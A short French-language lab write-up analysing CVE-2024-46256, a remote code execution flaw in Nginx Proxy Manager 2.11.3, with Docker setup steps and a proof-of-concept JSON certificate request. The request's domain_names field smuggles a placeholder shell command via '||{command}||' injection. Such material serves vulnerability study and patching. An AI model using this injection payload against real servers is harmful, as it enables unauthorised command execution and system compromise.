Analyse de la vulnérabilité RCE CVE-2024-46256 de Nginx Proxy Manager

Mise en place de l'environnement

1. Exécution de l'environnement Nginx Proxy Manager 2.11.3

docker-compose up -d

Ou vous pouvez utiliser le script automatique :

python setup_environment.py

2. Accès à Nginx Proxy Manager

• URL : http://localhost:81

• Effectuez les tests après avoir terminé la configuration initiale

• Connectez-vous avec le compte administrateur par défaut (email : [email protected] / mot de passe : changeme)

• Vérifiez les droits d'accès aux fonctionnalités liées à l'émission de certificats

Informations sur la vulnérabilité

• CVE ID : CVE-2024-46256

• Produit : Nginx Proxy Manager

• Version : 2.11.3

• Type de vulnérabilité : Exécution de code à distance (RCE)

• CVSS : Élevé

Code PoC

Le PoC permet à un utilisateur authentifié de provoquer une RCE en injectant des modèles/commandes dans le champ du nom de domaine lors de la demande d'émission d'un certificat (par exemple, Let's Encrypt).

Exemple de payload (exemple conceptuel) :

{
  "domain_names": ["test.com\"||{command}||\\n test.com\""],
  "meta": {
    "dns_challenge": false,
    "letsencrypt_agree": true,
    "letsencrypt_email": "[email protected]"
  },
  "provider": "letsencrypt"
}

Environnement d'analyse

• Système d'exploitation : Windows 10

• Docker : version la plus récente

• Nginx Proxy Manager : 2.11.3